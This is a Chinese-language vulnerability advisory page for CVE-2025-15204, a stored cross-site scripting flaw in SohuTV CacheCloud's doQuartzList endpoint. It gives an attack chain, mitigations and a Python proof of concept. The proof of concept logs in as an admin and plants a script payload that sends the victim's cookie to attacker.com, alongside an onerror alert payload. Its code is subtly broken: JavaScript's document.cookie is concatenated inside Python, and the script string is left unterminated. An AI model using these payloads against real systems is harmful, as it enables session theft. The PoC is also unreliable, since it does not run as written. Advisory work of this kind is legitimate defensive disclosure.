IPBUF安全漏洞报告
English
CVE-2025-15204 CVSS 2.4 低危

CVE-2025-15204: SohuTV CacheCloud doQuartzList函数跨站脚本漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15204
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
SohuTV CacheCloud

相关标签

CVE-2025-15204XSS跨站脚本存储型XSSSohuTV CacheCloudWeb应用安全JavaQuartzManageController低危漏洞

漏洞概述

CVE-2025-15204是SohuTV CacheCloud中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响CacheCloud版本直至3.2.0,位于QuartzManageController.java文件中的doQuartzList函数。由于该函数对用户输入缺乏充分的输入验证和输出编码,攻击者可以通过在定时任务列表功能中注入恶意JavaScript代码。当其他具有管理权限的用户访问受污染的页面时,恶意脚本将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或进一步的权限提升攻击。由于漏洞需要高权限用户交互才能触发,且对机密性和可用性影响较低,因此CVSS评分仅为2.4(低危)。该漏洞已于2024年通过GitHub Issue报告给项目方,但截至披露日期仍未得到修复或回应。

技术细节

该漏洞根源在于SohuTV CacheCloud的Web控制器组件QuartzManageController.java中的doQuartzList方法未对用户提供的定时任务相关参数进行安全过滤。具体而言,当管理员或高权限用户通过Web界面管理定时任务时,系统未能对任务名称、描述或执行时间等字段进行HTML特殊字符转义处理。攻击者(需具备高权限)可以构造包含<script>标签或事件处理器属性(如onerror、onload)的恶意输入。提交后,该payload会被存储在数据库中。当其他用户访问定时任务列表页面时,后端从数据库读取未经过滤的数据并直接渲染到HTML响应中,导致恶意脚本在受害者浏览器中执行。虽然攻击需要高权限账户和用户交互,但由于CacheCloud通常部署在内部网络且被赋予较高的管理权限,一旦攻击成功,攻击者可以窃取管理员会话Cookie、修改系统配置或执行其他恶意操作。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统使用SohuTV CacheCloud,通过版本检测确认版本<=3.2.0
STEP 2
账户获取
攻击者获取CacheCloud的高权限账户(如管理员账户),可通过社会工程、凭证暴力破解或内部渗透实现
STEP 3
Payload构造
攻击者构造XSS payload,如<script>标签或事件处理器属性,注入到定时任务的名称、描述等字段中
STEP 4
漏洞利用
通过/quartz/doQuartzList接口提交包含恶意代码的定时任务,payload被存储到数据库
STEP 5
触发攻击
当其他管理员或高权限用户访问定时任务列表页面时,后端从数据库读取未过滤的数据并渲染到HTML页面
STEP 6
攻击成功
恶意JavaScript在受害者浏览器中执行,可窃取会话Cookie、进行CSRF攻击或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-15204 Stored XSS PoC // Target: SohuTV CacheCloud <= 3.2.0 // Endpoint: /quartz/doQuartzList // Attack Vector: Inject malicious JavaScript in quartz task parameters import requests import json target_url = "http://target-server:8080" login_url = f"{target_url}/login" quartz_url = f"{target_url}/quartz/doQuartzList" # Step 1: Authenticate with high-privilege account session = requests.Session() login_data = { "username": "admin", "password": "admin_password" } login_response = session.post(login_url, data=login_data) # Step 2: Create malicious quartz task with XSS payload xss_payload = '<script>document.location="https://attacker.com/steal?c=' + 'cookie=' + document.cookie + '</script>' malicious_task = { "taskName": xss_payload, "taskDesc": "<img src=x onerror=alert(document.domain)>", "cronExpression": "0 0 * * * ?" } # Step 3: Submit the malicious task via doQuartzList function # The vulnerable parameter is typically passed via POST/GET to the doQuartzList endpoint poc_response = session.post(quartz_url, data=malicious_task) print(f"XSS Payload submitted. Status: {poc_response.status_code}") print(f"Payload: {xss_payload}") print("When admin views quartz list, XSS will be triggered.")

影响范围

SohuTV CacheCloud <= 3.2.0

防御指南

临时缓解措施
由于官方尚未发布修复补丁,建议采取以下临时缓解措施:1)限制CacheCloud管理界面的访问来源,仅允许受信任的IP段访问;2)加强对管理员账户的安全管理,使用强密码策略和多因素认证;3)在Web应用防火墙(WAF)层面配置XSS防护规则,对/quartz/*路径的请求进行特殊监控;4)定期审查日志,及时发现异常的管理操作行为;5)考虑使用自签名证书或VPN通道访问管理后台,减少暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表